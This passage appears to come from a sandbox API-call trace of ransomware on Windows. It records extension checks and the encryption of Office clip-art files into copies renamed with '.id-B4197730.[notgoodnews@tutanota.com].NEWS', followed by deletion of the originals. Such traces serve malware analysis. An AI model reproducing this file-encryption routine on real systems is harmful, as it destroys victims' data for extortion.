lpString2=".JPG") returned 1 [0168.359] lstrlenW (lpString=".xls") returned 4 [0168.359] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.359] lstrlenW (lpString=".xlsx") returned 5 [0168.359] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0168.359] lstrlenW (lpString=".ppt") returned 4 [0168.359] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.359] lstrlenW (lpString=".zip") returned 4 [0168.359] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.359] lstrlenW (lpString=".rar") returned 4 [0168.359] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.359] lstrlenW (lpString=".bz2") returned 4 [0168.359] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.359] lstrlenW (lpString=".7z") returned 3 [0168.359] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.360] lstrlenW (lpString=".dbf") returned 4 [0168.360] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.360] lstrlenW (lpString=".1cd") returned 4 [0168.360] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.360] lstrlenW (lpString=".jpg") returned 4 [0168.360] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.360] lstrlenW (lpString=".doc") returned 4 [0168.360] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.360] lstrlenW (lpString=".docx") returned 5 [0168.360] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0168.360] lstrlenW (lpString=".pdf") returned 4 [0168.360] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.360] lstrlenW (lpString=".xls") returned 4 [0168.360] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.360] lstrlenW (lpString=".xlsx") returned 5 [0168.360] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0168.360] lstrlenW (lpString=".ppt") returned 4 [0168.360] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.360] lstrlenW (lpString=".zip") returned 4 [0168.360] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.360] lstrlenW (lpString=".rar") returned 4 [0168.360] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.361] lstrlenW (lpString=".bz2") returned 4 [0168.361] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.361] lstrlenW (lpString=".7z") returned 3 [0168.361] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.361] lstrlenW (lpString=".dbf") returned 4 [0168.361] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.361] lstrlenW (lpString=".1cd") returned 4 [0168.361] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0168.361] lstrlenW (lpString=".jpg") returned 4 [0168.361] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.361] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0168.361] lstrlenW (lpString="J0099192.GIF") returned 12 [0168.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0168.362] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=17964) returned 1 [0168.362] CloseHandle (hObject=0x54c) returned 1 [0168.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0168.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0168.363] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.363] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0168.364] GetLastError () returned 0x0 [0168.364] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x462c, lpOverlapped=0x0) returned 1 [0168.858] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4630, lpOverlapped=0x0) returned 1 [0168.859] ReadFile (in: hFile=0x54c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.859] WriteFile (in: hFile=0x4f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.859] SetEndOfFile (hFile=0x4f4) returned 1 [0168.860] CloseHandle (hObject=0x4f4) returned 1 [0168.860] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.860] SetEndOfFile (hFile=0x54c) returned 1 [0168.862] CloseHandle (hObject=0x54c) returned 1 [0168.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0168.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.864] lstrlenW (lpString=".doc") returned 4 [0168.864] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0168.864] lstrlenW (lpString=".docx") returned 5 [0168.864] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0168.864] lstrlenW (lpString=".pdf") returned 4 [0168.864] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0168.864] lstrlenW (lpString=".xls") returned 4 [0168.864] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0168.864] lstrlenW (lpString=".xlsx") returned 5 [0168.864] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0168.864] lstrlenW (lpString=".ppt") returned 4 [0168.864] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0168.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.864] lstrlenW (lpString=".zip") returned 4 [0168.864] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0168.864] lstrlenW (lpString=".rar") returned 4 [0168.864] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0168.864] lstrlenW (lpString=".bz2") returned 4 [0168.864] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0168.865] lstrlenW (lpString=".7z") returned 3 [0168.865] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0168.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.865] lstrlenW (lpString=".dbf") returned 4 [0168.865] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0168.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.865] lstrlenW (lpString=".1cd") returned 4 [0168.865] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0168.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.865] lstrlenW (lpString=".jpg") returned 4 [0168.865] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0168.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.865] lstrlenW (lpString=".doc") returned 4 [0168.865] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0168.865] lstrlenW (lpString=".docx") returned 5 [0168.865] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0168.865] lstrlenW (lpString=".pdf") returned 4 [0168.865] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0168.865] lstrlenW (lpString=".xls") returned 4 [0168.865] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0168.865] lstrlenW (lpString=".xlsx") returned 5 [0168.865] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0168.865] lstrlenW (lpString=".ppt") returned 4 [0168.865] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0168.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.866] lstrlenW (lpString=".zip") returned 4 [0168.866] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0168.866] lstrlenW (lpString=".rar") returned 4 [0168.866] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0168.866] lstrlenW (lpString=".bz2") returned 4 [0168.866] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0168.866] lstrlenW (lpString=".7z") returned 3 [0168.866] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0168.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.866] lstrlenW (lpString=".dbf") returned 4 [0168.866] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0168.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.866] lstrlenW (lpString=".1cd") returned 4 [0168.866] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0168.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0168.866] lstrlenW (lpString=".jpg") returned 4 [0168.866] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0168.866] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0168.866] lstrlenW (lpString="J0099195.GIF") returned 12 [0168.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0169.131] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19923) returned 1 [0169.132] CloseHandle (hObject=0x554) returned 1 [0169.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0169.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0169.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0169.134] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.134] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0170.481] GetLastError () returned 0x0 [0170.481] ReadFile (in: hFile=0x554, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0170.562] WriteFile (in: hFile=0x478, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0170.563] ReadFile (in: hFile=0x554, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.563] WriteFile (in: hFile=0x478, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.563] SetEndOfFile (hFile=0x478) returned 1 [0170.563] CloseHandle (hObject=0x478) returned 1 [0170.563] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.563] SetEndOfFile (hFile=0x554) returned 1 [0170.566] CloseHandle (hObject=0x554) returned 1 [0170.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0170.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.567] lstrlenW (lpString=".doc") returned 4 [0170.567] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0170.567] lstrlenW (lpString=".docx") returned 5 [0170.567] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0170.567] lstrlenW (lpString=".pdf") returned 4 [0170.567] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0170.568] lstrlenW (lpString=".xls") returned 4 [0170.568] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0170.568] lstrlenW (lpString=".xlsx") returned 5 [0170.568] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0170.568] lstrlenW (lpString=".ppt") returned 4 [0170.568] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0170.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.568] lstrlenW (lpString=".zip") returned 4 [0170.568] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0170.568] lstrlenW (lpString=".rar") returned 4 [0170.568] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0170.568] lstrlenW (lpString=".bz2") returned 4 [0170.568] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0170.568] lstrlenW (lpString=".7z") returned 3 [0170.568] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0170.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.568] lstrlenW (lpString=".dbf") returned 4 [0170.568] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0170.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.568] lstrlenW (lpString=".1cd") returned 4 [0170.568] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0170.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.568] lstrlenW (lpString=".jpg") returned 4 [0170.568] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0170.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.569] lstrlenW (lpString=".doc") returned 4 [0170.569] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0170.569] lstrlenW (lpString=".docx") returned 5 [0170.569] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0170.569] lstrlenW (lpString=".pdf") returned 4 [0170.569] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0170.569] lstrlenW (lpString=".xls") returned 4 [0170.569] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0170.569] lstrlenW (lpString=".xlsx") returned 5 [0170.569] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0170.569] lstrlenW (lpString=".ppt") returned 4 [0170.569] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0170.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.569] lstrlenW (lpString=".zip") returned 4 [0170.569] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0170.569] lstrlenW (lpString=".rar") returned 4 [0170.569] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0170.569] lstrlenW (lpString=".bz2") returned 4 [0170.569] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0170.569] lstrlenW (lpString=".7z") returned 3 [0170.569] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0170.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.569] lstrlenW (lpString=".dbf") returned 4 [0170.569] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0170.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.569] lstrlenW (lpString=".1cd") returned 4 [0170.569] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0170.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0170.569] lstrlenW (lpString=".jpg") returned 4 [0170.569] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0170.570] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0170.570] lstrlenW (lpString="J0099200.GIF") returned 12 [0170.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0171.277] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=16543) returned 1 [0171.277] CloseHandle (hObject=0x4dc) returned 1 [0171.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0171.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0171.278] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.278] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.279] GetLastError () returned 0x0 [0171.279] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x409f, lpOverlapped=0x0) returned 1 [0171.350] WriteFile (in: hFile=0x51c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x40a0, lpOverlapped=0x0) returned 1 [0171.351] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.351] WriteFile (in: hFile=0x51c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.351] SetEndOfFile (hFile=0x51c) returned 1 [0171.479] CloseHandle (hObject=0x51c) returned 1 [0171.705] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.705] SetEndOfFile (hFile=0x4dc) returned 1 [0171.708] CloseHandle (hObject=0x4dc) returned 1 [0171.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0171.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0171.764] lstrlenW (lpString=".doc") returned 4 [0171.764] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.764] lstrlenW (lpString=".docx") returned 5 [0171.764] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0171.764] lstrlenW (lpString=".pdf") returned 4 [0171.764] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.764] lstrlenW (lpString=".xls") returned 4 [0171.764] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.764] lstrlenW (lpString=".xlsx") returned 5 [0171.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0171.764] lstrlenW (lpString=".ppt") returned 4 [0171.764] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.764] lstrlenW (lpString="C:\\Program Files\\Microsoft 